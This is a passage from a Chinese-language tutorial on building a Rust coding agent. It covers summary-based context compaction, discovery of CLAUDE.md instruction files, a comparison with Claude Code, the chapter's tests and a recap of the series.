经验来看,将长历史压缩到 [system, summary, N recent] 可以将 token 数量减少大约 3–5 倍。除以 3 是保守估计,让 agent 持续运行,直到真实 token 数量重新攀升到预算。更精确的实现会从新的 messages 向量重新计数 token;这个代理对于 starter 来说已经足够好,且保持了代码简洁。

为什么用摘要而不是截断?

显而易见的替代方案是直接丢弃旧消息。这很便宜(不需要额外的 LLM 调用),但会丢失信息。用户在第 3 轮说"全程使用 snake_case",你在第 40 轮丢弃了它,agent 就会忘记。摘要以每次压缩多一次 LLM 往返的代价,保留了被丢弃范围内的决策和事实。由于压缩很少发生,这个权衡有利于摘要。

为什么摘要用系统消息而不是用户或助手消息?因为摘要是元上下文,不是任何一方说过的话。系统框架告诉 LLM"这是背景信息,不是活跃的发言轮次",与它的使用方式相符。


Claude Code 是怎么做的

Claude Code 通过从工作目录向上遍历发现 CLAUDE.md 文件,采用了与我们相同的向上遍历模式。但它的指令系统在几个方面更加复杂。

用户级指令。 Claude Code 支持 ~/.claude/CLAUDE.md 作为全局指令文件。我们的 InstructionLoader 天然实现了同样的效果:向上遍历到达主目录并找到了 CLAUDE.md,它就会被包含进来,无需特殊处理。

基于配置的工具规则。 Claude Code 的 .claude/settings.json 指定每个工具的权限规则。这些规则配置的是权限引擎(第 13 章),而不是提示词。我们的 Configallowed_directoryprotected_patternsblocked_commands 保持了更简洁的实现。

记忆文件。 Claude Code 支持跨会话积累事实的持久记忆。记忆与指令一起加载,但管理方式不同。本书在记忆功能之前结束,但指令加载器是扩展到记忆功能的天然切入点。

指令验证。 Claude Code 会在不同层级的指令相互矛盾时发出警告。我们的实现信任 LLM 用从根到子目录的顺序解决矛盾——更具体的指令排在后面,因此优先级更高。

核心模式是相同的:发现文件,按顺序加载,作为动态提示词段落注入。其他一切都是完善和改进。


测试

运行测试:

cargo test -p mini-claw-code-starter instructions  # InstructionLoader
cargo test -p mini-claw-code-starter context_manager  # ContextManager

注意:InstructionLoader 的测试在 instructions 中(第 8 章构建,本章重新审视)。ContextManager 的测试在 context_manager 中(本章新增)。

关键 InstructionLoader 测试(instructions):

  • test_instructions_discover_in_current_dir — 在起始目录中找到 CLAUDE.md。
  • test_instructions_discover_in_parent — 向上遍历并在父目录中找到 CLAUDE.md。
  • test_instructions_no_files_found — 路径中任何地方都不存在指令文件时,返回空列表。
  • test_instructions_load_contentload() 返回包含文件内容的 Some
  • test_instructions_load_empty_fileload() 对空的 CLAUDE.md 返回 None(不浪费 token)。
  • test_instructions_multiple_file_names — 在同一目录中同时发现 CLAUDE.md.mini-claw/instructions.md
  • test_instructions_system_prompt_sectionsystem_prompt_section() 用"项目指令"标题包装内容。
  • test_instructions_default_filesdefault_files() 构造函数不会 panic。

关键上下文测试(context_manager):

  • test_context_manager_below_threshold_no_compact — 低于 token 阈值时,上下文管理器不触发压缩。
  • test_context_manager_triggers_at_threshold — 记录的 token 超过阈值时触发压缩。
  • test_context_manager_compact_preserves_system_prompt — 压缩后,系统提示词仍作为第一条消息保留。
  • test_context_manager_compact_preserves_recent — 最近的 N 条消息在压缩后完整保留。

核心要点

指令在会话启动时注入一次,压缩在会话中途按需运行。messages[0] 的系统消息是锚点:它携带使当前项目有别于其他项目的指令,在每次压缩中完整保留,agent 永远不会失去根基。


回顾

本章连接了三个模块:

  • InstructionLoader 通过向上遍历文件系统发现 CLAUDE.md 文件,以带有标题和分隔符的从根到子目录的顺序拼接。全局偏好在前,子目录覆盖规则在后。

  • Config.instructions 从第 17 章构建的分层配置提供可选的第二块指令,追加在基于文件的块之后,拥有最终话语权。

  • ContextManager 追踪 token 用量,在预算耗尽时将消息历史的中间部分压缩为 LLM 生成的摘要。它保留开头的系统消息(你的指令)和尾部的 preserve_recent 条消息(你当前的对话上下文)。

启动流水线为:发现指令文件,用拼接后的内容构建一条 Message::System,可选地从 Config.instructions 追加另一条 Message::System,然后运行正常的 agent 循环。每次 provider 调用后,循环调用 recordmaybe_compact;短会话中压缩从不触发,长会话中根据需要触发多次。


延伸探索

这是当前系列的最后一章。基础已经就绪:消息、provider、工具、agent 循环、提示词、权限、安全、钩子、plan 模式、设置和指令。

可以自行探索的自然扩展方向:

  • 持久记忆 — agent 在一次会话中学到的事实,下次会话还能回忆起来。记忆文件与指令一起加载,但管理方式不同:指令由人类编写,记忆由 agent 自身编写。
  • Token 和成本追踪 — 对 provider 进行插桩,汇总每次会话的 token 使用量并在 TUI 中展示。
  • 更智能的压缩 — 我们的 ContextManager 使用单次摘要和粗略的 /= 3 token 重置。生产级替代方案包括层级摘要(摘要的摘要)以及对新历史重新分词以获得精确计数。
  • 会话与恢复 — 将消息历史序列化到磁盘,使对话可以暂停并恢复。
  • MCP(模型上下文协议) — 在运行时从外部 MCP 服务器加载工具,而不是在启动时硬编码。
  • 子 agent — 为限定范围的子任务生成具有过滤工具集的子 agent。

检验自己


← 第 17 章:设置层级 · 目录